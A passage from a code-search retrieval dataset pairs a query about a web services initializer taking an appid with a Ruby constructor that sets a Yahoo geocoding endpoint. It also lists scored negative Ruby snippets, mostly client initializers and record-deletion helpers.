"0.5743243",
"0.57196814",
"0.5708825",
"0.5645501",
"0.56346977",
"0.56203187",
"0.5611838",
"0.5610498",
"0.56091726",
"0.56087875",
"0.56061614",
"0.56032723",
"0.55886924",
"0.5585399",
"0.5576377",
"0.55651134",
"0.5549368",
"0.5548641",
"0.5536726",
"0.55020314",
"0.55013835",
"0.54836214",
"0.54832006",
"0.54781",
"0.5464121",
"0.540832",
"0.540832",
"0.54009587",
"0.53957385",
"0.5394923",
"0.5389812",
"0.53860104",
"0.5371397",
"0.5370765",
"0.5368977",
"0.5363663",
"0.5359564",
"0.5358714",
"0.5355998",
"0.53460014",
"0.5340128",
"0.53130364",
"0.5311977",
"0.5311631",
"0.5311631",
"0.5310662",
"0.53035104",
"0.5300126",
"0.5276695",
"0.5248208",
"0.52441275",
"0.5242487",
"0.5242463",
"0.5233982",
"0.52317655",
"0.52317655",
"0.52293956",
"0.52280796",
"0.52269775",
"0.5225394",
"0.5222337",
"0.5217622",
"0.51968217",
"0.51943994",
"0.5188055",
"0.51801306",
"0.5170259",
"0.51677436",
"0.5158834",
"0.51575595",
"0.51559025",
"0.51482767",
"0.5147231",
"0.51433295",
"0.51423156",
"0.514203",
"0.51404184",
"0.51337814",
"0.5128269",
"0.5118054",
"0.511747",
"0.5107835"
] |
0.5758381
|
16
|
Delete tuples from the relation
|
def delete(*args)
dataset.delete(*args)
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clear_vertex\n for rel in sorted_relations\n rel.remove(self)\n end\n\tend",
"def delete(rel)\n @relations.delete_if do |x|\n x === rel\n end\n @graph[rel.from].delete(rel.to)\n @graph[rel.to].delete(rel.from) if @undirected\n end",
"def delete!\n uniq.both_e.uniq.bulk_job { |e| e.delete! }\n uniq.bulk_job { |e| e.delete! }\n end",
"def delete(table, ids) # abstract\n end",
"def delete\n ignore_columns = [\"id\", \"created_at\", \"updated_at\"]\n # Find all assignments associated with this element\n\t\tlist = Relationship.where({ @type.to_s => @id })\n \n # For each assignment\n\t\tlist.each do |assignment|\n # Remove this element from the assigment\n assignment[@type] = nil\n \n # Count how many elements are left\n count = 0\n Relationship.column_names.each do |column|\n if assignment[column] != nil and not ignore_columns.include?(column)\n count += 1\n end\n end\n \n # If only one element is left, destroy the assignment\n if count <= 1\n assignment.destroy\n # Otherwise, save\n else\n assignment.save\n end\n end\n \n # Destroy the desired element\n @class.destroy(@id)\n end",
"def remove_from_graph\n # Ignores trying to delete nonexistent records\n connection.execute <<-EOS\n DELETE IGNORE FROM #{oqgraph_table_name} WHERE origid = #{self.send(self.class.from_key)} AND destid = #{self.send(self.class.to_key)};\n EOS\n end",
"def delete_relation_tuple(namespace, object, relation, opts = {})\n delete_relation_tuple_with_http_info(namespace, object, relation, opts)\n nil\n end",
"def delete_related!(*names)\n # Recurse on the statement.\n @statement.delete_related!(*names)\n end",
"def delete!\n graph.removeVertex element\n end",
"def delete!\n graph.remove_vertex element\n end",
"def op_remove_relation!(field, objects = [])\n objects = [objects] unless objects.is_a?(Array)\n return false if objects.empty?\n relation_action = Parse::RelationAction.new(field, polarity: false, objects: objects)\n operate_field! field, relation_action\n end",
"def delete_relation_for association\n @relations.reject!{ |r| r.association == association || r.association == association.singularize}\n end",
"def delete\n association.delete association[element.dataset[:index].to_i]\n end",
"def destroy!(execute: true)\n keys = self.class.fields.map { |name| send(name).key }\n related_keys = self.class.relations.map(&method(:collect_relation_keys))\n\n (keys + related_keys).flatten.tap do |key_list|\n command :del, [key_list] if execute && key_list.any?\n end\n end",
"def removing_plan_relation(transaction, parent, child, relations); end",
"def remove_edge(id1, id2)\n # YOUR WORK HERE\n end",
"def cascade\n if relation\n if relation.is_a?(Enumerable)\n relation.entries\n relation.each { |doc| doc.destroy }\n else\n relation.destroy\n end\n end\n end",
"def delete!\n graph.remove_vertex self\n end",
"def relation_destroy(kind = nil, sibling_id = nil)\n query = { :note_id => self.id }\n query[:kind] = kind if kind\n query[:sibling_id] = sibling_id if sibling_id\n Relation.destroy_all(query)\n end",
"def delete( *regexs )\n self.dup.delete!( *regexs )\n end",
"def _remove_tuple(objdata_, tuple_) # :nodoc:\n tupcats_ = objdata_[2][tuple_]\n return false unless tupcats_\n @tuples.delete(tuple_)\n tupcats_.each do |cat_|\n index_ = @categories[cat_][1].map{ |i_| tuple_[i_] }\n @catdata[cat_][index_].delete(tuple_)\n end\n objdata_[2].delete(tuple_)\n true\n end",
"def remove_relation\n relation_scope.where(@id_key => deleted_remote_objects_ids)\n end",
"def delete!\n values.delete!\n end",
"def delete_all\n objs = target\n source.update_attribute(source_attribute, nil)\n objs.each(&:delete)\n end",
"def relation_withdraw_all(user)\n Note_Relation.all(:note_id => self.id, :user_id => user.id ).destroy!\n end",
"def delete_dead_tuple_spaces\n @tuple_space_lock.synchronize do\n @tuple_space.delete_if do |_, space|\n not(Util.ignore_exception {timeout(1) {space.ping}})\n end\n end\n end",
"def remove *k\n\t\t\t# todo combine queries in a transaction\n\t\t\tActiveOrient::Base.logger.debug { \"delete: #{@name} --< #{k.map(&:to_or).join( ' :: ' )}\"}\n\t\t k.map{|l|\t@orient.update( {remove: { @name => l} } ) }\n\t#\t\t@orient.reload!\n\t#\t\t@orient.send @name \n\t\tend",
"def delete_related!(*names)\n # Nothing to do by default.\n end",
"def delete(other)\n other = coerce(other)\n delete_left(other).join(delete_right(other))\n end",
"def del(*keys); end",
"def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end",
"def delete!\n graph.remove_edge element\n end",
"def delete!\n graph.remove_edge element\n end",
"def destroy\n @tuple = Tuple.find(params[:id])\n @tuple.destroy\n\n respond_to do |format|\n format.html { redirect_to(tuples_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_relations(related_tag)\n Relation.where(tag: [self, related_tag],\n related_tag: [self, related_tag]).delete_all\n end",
"def remove_relation\n relation_scope.where.not(@id_key => remote_objects_ids)\n end",
"def xdel(key, *ids); end",
"def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend",
"def delete_all\n neo4j_query(\"MATCH (n:`#{mapped_label_name}`) OPTIONAL MATCH (n)-[r]-() DELETE n,r\")\n end",
"def delete!(*rest) end",
"def delete_relation_tuple_with_http_info(namespace, object, relation, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WriteApi.delete_relation_tuple ...'\n end\n # verify the required parameter 'namespace' is set\n if @api_client.config.client_side_validation && namespace.nil?\n fail ArgumentError, \"Missing the required parameter 'namespace' when calling WriteApi.delete_relation_tuple\"\n end\n # verify the required parameter 'object' is set\n if @api_client.config.client_side_validation && object.nil?\n fail ArgumentError, \"Missing the required parameter 'object' when calling WriteApi.delete_relation_tuple\"\n end\n # verify the required parameter 'relation' is set\n if @api_client.config.client_side_validation && relation.nil?\n fail ArgumentError, \"Missing the required parameter 'relation' when calling WriteApi.delete_relation_tuple\"\n end\n # resource path\n local_var_path = '/relation-tuples'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'namespace'] = namespace\n query_params[:'object'] = object\n query_params[:'relation'] = relation\n query_params[:'subject_id'] = opts[:'subject_id'] if !opts[:'subject_id'].nil?\n query_params[:'subject_set.namespace'] = opts[:'subject_set_namespace'] if !opts[:'subject_set_namespace'].nil?\n query_params[:'subject_set.object'] = opts[:'subject_set_object'] if !opts[:'subject_set_object'].nil?\n query_params[:'subject_set.relation'] = opts[:'subject_set_relation'] if !opts[:'subject_set_relation'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || []\n\n new_options = opts.merge(\n :operation => :\"WriteApi.delete_relation_tuple\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WriteApi#delete_relation_tuple\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def delete(key)\n @relation.delete(key)\n end",
"def unlink(*keys); end",
"def destroy_relations\n begin\n File.delete FRIENDS_IDS_PATH + self.twitter_id.to_s\n File.delete FOLLOWER_IDS_PATH + self.twitter_ids.to_s\n rescue\n puts \"Didnt find the corresponding files.\"\n end \n end",
"def delete_vertex(vertex)\n out_e = self[vertex].out_edges.to_a\n out_e.each { |e| delete_edge(vertex, e) }\n in_e = self[vertex].in_edges.to_a\n in_e.each { |e| delete_edge(e, vertex) }\n self.delete(vertex)\n end",
"def delete(*rest) end",
"def remove_relation(rel)\n relations.delete(rel)\n Roby.remove_relation(rel)\n end",
"def delete_entries(entries)\n all(:id => entries.map(&:id)).destroy!\n end",
"def remove_vertex(id)\n # YOUR WORK HERE\n end",
"def clear_relations\n each_event { |ev| ev.clear_relations }\n\t super()\n self\n\tend",
"def delete_edge!(from, to)\n protected_delete_edge!(from, to)\n protected_delete_edge!(to, from)\n @edge_number -= 1\n end",
"def unjoin(p1, p2, whence = nil)\n p1.remove(p2)\n p2.remove(p1)\n end",
"def delete!\n graph.removeEdge element\n end",
"def delete!\n uniq.bulk_job { |e| e.delete! }\n end",
"def destroy\n prepare_collection_query\n\n @query.where(\"#{@grid.model.arel_table.name}.id in (?)\", params[:ids]).each(&:destroy)\n render :json => { status: \"OK\" }\n end",
"def delete_at(p0) end",
"def remove_assignments\n # tas = TagAssignment.find_all_by_source_and_source_info(2, self.id)\n # tas.each do |ta|\n # ta.destroy\n # end\n # tas.count\n\n # this does the same as above with less queries, but doesn't apply\n # any callbacks (none needed in this case)\n TagAssignment.destroy_all(:source => 2, \n :source_info => self.id) if self.has_attribute?('id') \n end",
"def drop_duplicated_records(pois, poi)\n\tpois.each do |xx|\n\t\txx.destroy if xx.ref == poi.ref && (!xx.lat || !xx.lng)\n\tend\nend",
"def delete(arel, name = nil, binds = [])\n exec_delete(to_sql(arel), name, binds)\n end",
"def delete\n extract.children.to_a.each(&:extract)\n end",
"def remove(vertex)\n return if !self.include?(vertex)\n vertex.remove_relations(self)\n super\n end",
"def discard_transaction\n\t clear_relations\n\tend",
"def destroy\n self.littles.each do | little|\n little.big_id = nil;\n end\n self.positions.each do | pos |\n pos.dke_info_id = nil;\n end\n return super\n end",
"def reverse_delete(result)\n edges = result[0]\n hitList = result[1]\n\n hitList.each do |k, dist|\n edges[k[0]].delete(k[-1])\n edges[k[-1]].delete(k[0])\n\n unless path_exists?(edges, k[0], k[-1]) #check if connection still path\n p \"path does not exist, reconnecting #{k[0]} to #{k[-1]} \"\n edges[k[0]][k[-1]] = dist\n edges[k[-1]][k[0]] = dist\n end\n end\n\n edges\n end",
"def minus(*relations)\n relations.all?{|r| is_relation!(r)}\n relations.inject(nil){|memo,r| memo.nil? ? r : memo.difference(r)}\n end",
"def remove(x, y)\n @store[x].remove(y)\n @store[y].remove(x) if undirected?\n end",
"def old_couple\n @old_couple = @students_id - @pair\n @students_id.delete(@pair)\n end",
"def delete_edge!(from, to)\n protected_delete_edge!(from, to)\n @edge_number -= 1\n end",
"def delete(*ids)\n collection.remove(to_criteria(:_id => ids.flatten))\n end",
"def absorb(list)\n @pgsql.transaction do |t|\n t.exec(\n [\n 'DELETE FROM delivery WHERE id IN',\n '(SELECT id FROM delivery',\n ' JOIN (SELECT s.id AS from, t.id AS to FROM recipient AS s',\n ' JOIN recipient AS t ON s.email = t.email AND s.list != t.list',\n ' AND s.list = $1 AND t.list = $2) AS r',\n ' ON r.to = delivery.recipient',\n ' WHERE (SELECT COUNT(*) FROM delivery AS d',\n ' WHERE d.campaign = delivery.campaign',\n ' AND d.letter = delivery.letter',\n ' AND d.recipient = r.from) > 0)'\n ],\n [list.id, @id]\n )\n t.exec(\n [\n 'UPDATE delivery SET recipient = alt.to FROM',\n '(SELECT s.id AS from, t.id AS to FROM recipient AS s',\n ' JOIN recipient AS t ON s.email = t.email AND s.list != t.list',\n ' AND s.list = $1 AND t.list = $2) AS alt',\n 'WHERE recipient = alt.from'\n ],\n [list.id, @id]\n )\n t.exec(\n [\n 'DELETE FROM recipient WHERE id IN',\n '(SELECT s.id FROM recipient AS s',\n ' JOIN recipient AS t ON s.email = t.email AND s.list != t.list',\n ' AND s.list = $1 AND t.list = $2)'\n ],\n [list.id, @id]\n )\n end\n end",
"def delete_all_by_dependant(dependant)\n for id in @dependency.keys\n\tdelete_all_dependency(id, dependant)\n end\n end",
"def delete_complement\n raise(\":delete_complement method is supported only for :saver_strategy => [:batch, :concurrent_safe_batch]\")\n end",
"def delete *entities_or_keys\n @commit.delete(*entities_or_keys)\n # Do not delete yet\n true\n end",
"def delete_records(records)\n if sql = @reflection.options[:delete_sql]\n records.each { |record| @owner.connection.delete(interpolate_and_sanitize_sql(sql, record)) }\n else\n\n relation = Arel::Table.new(@reflection.options[:join_table], arel_engine)\n \n relation.where(relation[@reflection.primary_key_name].eq(@owner.id).\n and(relation[@reflection.association_foreign_key].in(records.map { |x| x.id }.compact))\n ).delete\n end\n end",
"def delete_related!(*names)\n # Delete the inner signals whose name are in names.\n @inners.delete_if { |sig| names.include?(sig.name) }\n # Recurse on the statements.\n @statements.each do |statement|\n statement.delete_related!(*names)\n end\n # Delete the statements that contain signals whose name are\n # in names.\n @statements.delete_if { |statement| statement.use_name?(*names) }\n end",
"def delete_all(attributes = {})\n raise NotImplementedError.new\n end",
"def deleteItems\n self.items.each do |item|\n item.delete\n end\n end",
"def patch_relation_tuples(opts = {})\n patch_relation_tuples_with_http_info(opts)\n nil\n end",
"def delete_graph(kind, to_collection, to_key)\n retval orchio_delete_graph kind, to_collection, to_key\n end",
"def delete(element); end",
"def unlink(ids)\n ids = [ids] if(ids.is_a?(String))\n query = QL.unlink_sparql_query(ids)\n results = @connection.query(@db_name, query,{}).body\n triples = results[\"results\"][\"bindings\"].map do |h|\n \"<#{h['S']['value']}> <#{h['P']['value']}> <#{h['O']['value']}>\"\n end\n\n if(triples.length > 0)\n triples = \"#{triples.join('.')} .\"\n GRel::Debugger.debug \"REMMOVING\"\n GRel::Debugger.debug triples\n GRel::Debugger.debug \"IN\"\n GRel::Debugger.debug @db_name\n @connection.remove(@db_name, triples, nil, \"text/turtle\")\n end\n self\n end",
"def delete table, keys = [], transaction_id: nil\n commit transaction_id: transaction_id do |c|\n c.delete table, keys\n end\n end",
"def delete_ontologies_and_submissions\n LinkedData::SampleData::Ontology.delete_ontologies_and_submissions\n end",
"def remove_genomes_by_prot_id!(prot_ids)\n prot_ids.map{ |i| @genomes.delete(i) }.flatten.compact\n end",
"def deleteAll(xs)\n xs.each do |x|\n x.destroy\n end\n end",
"def remove!(*ids)\n remove(ids)\n session.commit\n end",
"def destroy\n super do\n graph.delete [source.to_term, nil, nil]\n parent.delete [parent, nil, source.to_term]\n end\n end",
"def remove_edge(col, row)\n @deleted << [col, row]\n end",
"def delete_rows(t, rows)\n case rows\n when Integer\n t.delete rows\n when Array\n mode = t.mode\n t.by_row!\n\n will_delete = rows.map{|n| t[n]}\n t.delete_if do |row|\n will_delete.find do |del_row|\n del_row == row\n end\n end\n\n set_mode!(mode, t)\n else\n throw \"Unsupported type '#{rows.class}' in skiprows.\"\n end\n end",
"def delete_waypoint _num\n SQF.deleteWaypoint [@this, _num].to_a\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM assignments WHERE id = #{self.id};\")\n end",
"def delete_many(db_or_tr, keys, object_class)\n # TODO(pedge): standardized parameter checking\n raise ArgumentError.new unless keys\n keys.each { |key| raise ArgumentError.new unless key && !key.empty? }\n raise ArgumentError.new unless object_class\n\n # TODO(pedge): does this make a copy of keys if keys already has only unique values?\n keys = keys.uniq\n\n object_index_keys = keys.map { |key| object_index_key(object_class, key) }\n object_keys = keys.map { |key| object_key(object_class, key) }\n db_or_tr.transact do |tr|\n delete_many_in_transaction(tr, object_index_keys)\n delete_many_in_transaction(tr, object_keys)\n end\n end",
"def destroy_all\n objs = target\n source.update_attribute(source_attribute, nil)\n objs.each(&:destroy)\n end",
"def del(*args); end",
"def del(keys)\n keys.each { |key| _data.delete(key) }\n _save\n end",
"def delete(*records)\n records.each do |record|\n target.delete(record)\n end\n end",
"def destroy\n super(:multiple_delete)\n end",
"def drop(name)\n tuples = primary.lookup_vals(name)\n return delete(tuples).size > 0\n end",
"def destroy()\n urn_check()\n @sparql.delete([ @urn, :p, :o ])\n @sparql.delete([ :s, :p, @urn ])\n end",
"def _delete_records\n @ids_to_delete.each do |table, ids|\n delete_from_table(table, ids)\n end\n end",
"def delete(object)\n key_name = attributes.key[0].name\n key_value = object.public_send(key_name)\n relation.delete(key_name => key_value)\n object\n end"
] |
[
"0.67862475",
"0.6555405",
"0.64511895",
"0.63844794",
"0.63304436",
"0.6162642",
"0.6135034",
"0.6130996",
"0.61221725",
"0.60315543",
"0.5983222",
"0.59773725",
"0.5948232",
"0.5934291",
"0.5916622",
"0.59121543",
"0.5908633",
"0.5894759",
"0.58906966",
"0.58822423",
"0.587744",
"0.5837897",
"0.5836637",
"0.58331454",
"0.5819575",
"0.58093894",
"0.57623225",
"0.57417315",
"0.5728448",
"0.57147604",
"0.57141674",
"0.5694617",
"0.5694617",
"0.5693453",
"0.56910306",
"0.56776017",
"0.5655221",
"0.5651609",
"0.5647854",
"0.5642943",
"0.5639652",
"0.5638576",
"0.56254816",
"0.5624405",
"0.5617823",
"0.56044847",
"0.5603069",
"0.56030494",
"0.55815876",
"0.557784",
"0.55727035",
"0.55705935",
"0.5569547",
"0.5569309",
"0.5567504",
"0.55665404",
"0.5564343",
"0.5557796",
"0.5556093",
"0.5554774",
"0.5527918",
"0.5526729",
"0.5524625",
"0.5520942",
"0.55139613",
"0.5509967",
"0.5506962",
"0.55043894",
"0.5498308",
"0.54971254",
"0.5489936",
"0.54835373",
"0.5468838",
"0.5468209",
"0.5466875",
"0.5448761",
"0.54482853",
"0.54471874",
"0.5443371",
"0.5436261",
"0.54334515",
"0.5424889",
"0.5424053",
"0.5422619",
"0.5408326",
"0.538885",
"0.53873414",
"0.53850204",
"0.5370968",
"0.5368919",
"0.5367159",
"0.5366168",
"0.5363291",
"0.5362339",
"0.53562194",
"0.534523",
"0.5344955",
"0.5342571",
"0.53414226",
"0.53391224",
"0.5338743"
] |
0.0
|
-1
|
Web services initializer. The +appid+ is the Application ID that uniquely identifies your application. See: See
|
def initialize(appid)
@appid = appid
@url = URI.parse "http://api.local.yahoo.com/MapsService/V1/geocode"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(app_id)\n @app_id = app_id\n end",
"def initialize(app_id:)\n @app_id = app_id\n end",
"def initialize( app )\n\t\t@app = app\n\tend",
"def initialize(app, name, client_id=nil, client_secret=nil, client_options={}, options={}, &block)\n self.client_id = client_id\n self.client_secret = client_secret\n self.client_options = client_options\n super\n end",
"def set_rakuten_api_ids\n RakutenWebService.configure do |c|\n c.application_id = ENV[\"APPID\"]\n c.affiliate_id = ENV[\"AFID\"]\n end\n end",
"def initialize(app_id, app_secret)\n @app_id = app_id\n @app_secret = app_secret\n end",
"def initialize(app); end",
"def initialize(api_id)\n @api_id = api_id\n @app_info = nil\n @channels = {}\n initialize_stats\n logger.debug \"Created application\"\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(appid=nil, secret=nil, securityalgorithm=nil)\n self.appid = appid if appid\n self.secret = secret if secret\n self.securityalgorithm = securityalgorithm if securityalgorithm\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def initialize(app)\n @app = app\n end",
"def set_client_app_initializers\n return unless request.format == 'html'\n @initializers = { soundcloud: { client_id: ENV['SOUND_CLOUD_CLIENT_ID'] } }\n end",
"def initialize(app)\n @app = app\n end",
"def setupApp(pia_url, app_key, app_secret)\n token = getToken(pia_url, app_key, app_secret)\n { \"url\" => pia_url,\n \"app_key\" => app_key,\n \"app_secret\" => app_secret,\n \"token\" => token }\nend",
"def init(url = 'localhost:3000', app = 'weapp')\n @url = url\n @app = app\n end",
"def new_client_application\n OAuth2::Client.new(caller_service.client_id, caller_service.client_secret, :site => authorizator_service.site, :raise_errors => false)\n end",
"def initialize guid\n\t\t@O365_path = URI.parse \"#{O365_url}?format=json&clientrequestid=#{guid}\"\n\t\t@O365_Services = Array.new\n\t\tapiCall()\n\tend",
"def initialize!(app); end",
"def initialize(app = nil)\n @app = app\n end",
"def initialize(api_url, app_name = DEFAULT_APP_NAME)\n @app_name = app_name\n @key = Digest::MD5.hexdigest(@app_name)\n @api_endpoint = \"http://#{api_url}/api\"\n end",
"def initialize(ip, secret)\n @ip = ip\n @secret = secret\n \n @conn = SOAP::RPC::Driver.new(\"https://#{@ip}:17443\")\n @conn.add_method(\"set_parameters\", \"djinn_locations\", \"database_credentials\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps\", \"app_names\", \"secret\")\n @conn.add_method(\"set_apps_to_restart\", \"apps_to_restart\", \"secret\")\n @conn.add_method(\"status\", \"secret\")\n @conn.add_method(\"get_stats\", \"secret\")\n @conn.add_method(\"update\", \"app_names\", \"secret\")\n @conn.add_method(\"stop_app\", \"app_name\", \"secret\") \n @conn.add_method(\"get_all_public_ips\", \"secret\")\n @conn.add_method(\"is_done_loading\", \"secret\")\n @conn.add_method(\"is_done_initializing\", \"secret\")\n @conn.add_method(\"add_role\", \"new_role\", \"secret\")\n @conn.add_method(\"remove_role\", \"old_role\", \"secret\")\n @conn.add_method(\"get_queues_in_use\", \"secret\")\n @conn.add_method(\"add_appserver_to_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"remove_appserver_from_haproxy\", \"app_id\", \"ip\", \"port\",\n \"secret\")\n @conn.add_method(\"add_appserver_process\", \"app_id\", \"secret\")\n @conn.add_method(\"remove_appserver_process\", \"app_id\", \"port\", \"secret\")\n end",
"def app_id=(_arg0); end",
"def app_id=(_arg0); end",
"def init_application(application_name)\n if application_name.nil? || application_name == ''\n throw 'Bad application name'\n end\n res = nil\n applicaiton_init_uri = URI(@url + \"sys/auth/#{application_name}\")\n req = Net::HTTP::Post.new(applicaiton_init_uri)\n req['X-Vault-Token'] = @token\n res = Net::HTTP.start(applicaiton_init_uri.hostname, applicaiton_init_uri.port) do |http|\n req.body = { 'type' => 'app-id' }.to_json\n http.request(req)\n end\n res.code.to_i\n end",
"def initialize(app_name)\n @app_name = app_name\n end",
"def app data={}\n get '/app', data\n end",
"def seed_api_key\n\t\t\tDoorkeeper::Application.create(name: \"sample app\", \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t uid: \"836ec399a145ffafbd7774c57e06960397b77a53bb1ccc03d4e45d95d0c31a3d\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t secret: \"cf8dc84d17c69e17a8b9d74ec971bdb636f231d3ba7d2ad2ebfca45bdc8ae3c9\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t redirect_uri: \"urn:ietf:wg:oauth:2.0:oob\")\n\t\tend",
"def initialize(app_id=nil, options={})\n @instance_options = options.merge(:AppId => (app_id || user_app_id))\n @cache_paths = {}\n end",
"def add_client_app\n @client = Strava::OAuth::Client.new(\n client_id: ENV['STRAVA_CLIENT_ID'],\n client_secret: ENV['STRAVA_CLIENT_SECRET']\n )\n end",
"def initialize(app_id: Config.app_id, response_encoding: nil,\n site_id: nil, version: '1119',\n version_handling: nil, tracking_id: nil,\n tracking_partner_code: nil, affiliate_user_id: nil)\n @app_id = app_id\n @response_encoding = response_encoding\n @site_id = site_id\n @version = version\n @version_handling = version_handling\n @tracking_id = tracking_id\n @tracking_partner_code = tracking_partner_code\n @affiliate_user_id = affiliate_user_id\n end",
"def app; @app; end",
"def initialize(appid=@@appid, secret=@@secret)\n @appid = appid\n @secret = secret\n @cookie = nil\n @stoken = nil\n @token = nil\n\n @signkey = self.derive(\"SIGNATURE\")\n @cryptkey = self.derive(\"ENCRYPTION\")\n\n @uid = nil\n @ts = nil\n end",
"def initialize( app_key )\n @app_key = app_key\n end",
"def initialize(app, client_class_name=\"Client\")\n @app = app\n @client_class_name = client_class_name\n end",
"def fill_app\n if @param_storage.app_id == nil\n apps = @app_service.all\n @param_storage.store_app_id(apps[0].id) if apps.count == 1\n end\n end",
"def set_app\n @app = current_client.apps.find(params[:id] || params[:app_id])\n end",
"def initialize (service_name, application_context)\n super\n end",
"def initialize(linker, app_name,api_key,api_secret)\n @linker=linker\n @applicationName=app_name\n @apiKey=api_key\n @apiSecret=api_secret\n end",
"def app\n Spaceship::Portal::App.set_client(@client)\n end",
"def initialize(app)\n super()\n\n @app = app\n @local_data = {}\n end",
"def initialize(app_id, key)\n @app_id = app_id\n @key = key\n end",
"def set_app\n @app = FortyTwo::App.find(params[:id])\n end",
"def app_id; end",
"def app_id; end",
"def context\n unless @instance_context\n @instance_context = AppManifestContext.new(@version , @params['app_sid'])\n end\n @instance_context\n end",
"def initialize(app_id, secret)\n options = {\n site: Parameter::SITE,\n authorize_url: AUTHORIZE_URL,\n token_url: TOKEN_URL\n }\n\n raise 'アプリケーションIDが入力されていません' if app_id.empty?\n raise 'Secretが入力されていません' if secret.empty?\n @client = OAuth2::Client.new(app_id, secret, options)\n end",
"def initialize(app, response_builder = DEFAULT_BUILDER)\n @app = app\n @response_builder = response_builder\n end",
"def create\n @app = App.new app_params\n @app.user = current_user\n \n if @app.valid?\n\n openid_client = Services::OpenIdConnectionService.new(@app).register\n\n\n if openid_client[\"client_id\"].present?\n @app.openid_client_id = openid_client[\"client_id\"]\n @app.openid_client_secret = openid_client[\"client_secret\"]\n @app.openid_client_access_token = openid_client[\"registration_access_token\"]\n @app.save\n end\n end\n\n respond_to do |format|\n if @app.persisted?\n format.html { redirect_to app_path(@app), notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def app\n APIServer::Application\nend",
"def app\n API.new(ledger: ledger)\n end",
"def create_app(name, url)\n JSON.parse((@cloudvox_api[\"/applications/create.json\"].post :call_flow => {:name => name}, :agi => {:url => url}).body)\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.webApp\"\n end",
"def get_app the_host, the_user, the_pass\n app = ImapClear::App.new\n app.host = the_host\n app.port = 993\n app.user = the_user\n app.pass = the_pass\n\n app\nend",
"def initialize(app_id, app_secret, api_key, email, password)\n\n merge!(\n {\n applicationCredentials: {\n applicationId: app_id,\n applicationSecret: app_secret\n },\n userCredentials: {\n apiKey: api_key,\n email: email,\n password: password \n }\n }\n )\n end",
"def initialize(app, options={})\n\t\t\t@@instance = self\n\t\t\t@options = {\n\t\t\t\t:auto_inject => true,\t# automatically inject on every html page\n\t\t\t\t:base_url_path => \"/mini-profiler-resources\",\n\t\t\t\t:authorize_cb => lambda {|env| return true;} # callback returns true if this request is authorized to profile\n\t\t\t}.merge(options)\n\t\t\t@app = app\n\t\t\t@options[:base_url_path] += \"/\" unless @options[:base_url_path].end_with? \"/\"\n\t\t\t@timer_struct_cache = {}\n\t\t\t@timer_struct_lock = Mutex.new\n\t\tend",
"def initialize\n @app_name = \"FPS\"\n @http_method = \"GET\"\n @service_end_point = Rails.application.config.amazon_fps_endpoint\n @version = \"2008-09-17\"\n\n @access_key = Rails.application.config.aws_access_key\n @secret_key = Rails.application.config.aws_secret_key\n @params = get_default_parameters()\n end",
"def create_api_instance\n facturama_user='prueba'\n facturama_password='pruebas2011'\n is_development = true # true = Modo de pruebas / sandbox, false = Modo de Producción (Timbrado real)\n\n\n #Creacion de una instancia de FacturamaApi\n Facturama::FacturamaApiWeb.new(facturama_user,facturama_password,is_development)\n end",
"def initialize(user, password, application_name, host=\"192.168.0.8\", port=3790, mode='multiUser')\n @user = user\n @password = password\n @application_name = application_name\n @host = host\n @port = port\n @mode = mode\n @ticket = nil\n @soap_client = nil \n end",
"def start_app\nend",
"def initialize(raw_app)\r\n @raw_app = raw_app\r\n end",
"def application\n\t\t\tIowa.app\n\t\tend",
"def initialize\n @client = Savon.client(wsdl: Twinfield::WSDLS[:session])\n end",
"def set_app\n @app = App.find_by( token: params[:app_id])\n if !@app \n render json: { error: \"app not found\"}, status: :not_found\n end\n end",
"def create_app app_name, dev_name, dev_email\n data[:app_name] = app_name\n data[:dev_name] = dev_name\n data[:dev_email] = dev_email\n end",
"def initialize(app_id, app_secret, uuid = nil, hostname = 'gocarrot.com')\n @app_id = app_id\n @app_secret = app_secret\n @uuid = uuid\n @hostname = hostname\n end",
"def initialize(app, options)\n @app, @options = app, options\n end",
"def initialize(app, options)\n @app, @options = app, options\n end",
"def initialize\n # URL and TIMEOUT_SECONDS are defined in\n # config/initializers/movies_service_client_config.rb\n @client = ActionWebService::Client::XmlRpc.new(\n MoviesApi, \n ENDPOINT_URL, \n {:handler_name => 'movies_service', :timeout => TIMEOUT_SECONDS}\n )\n end",
"def initialize\n @ewallet_services = {}\n build_service_map\n end",
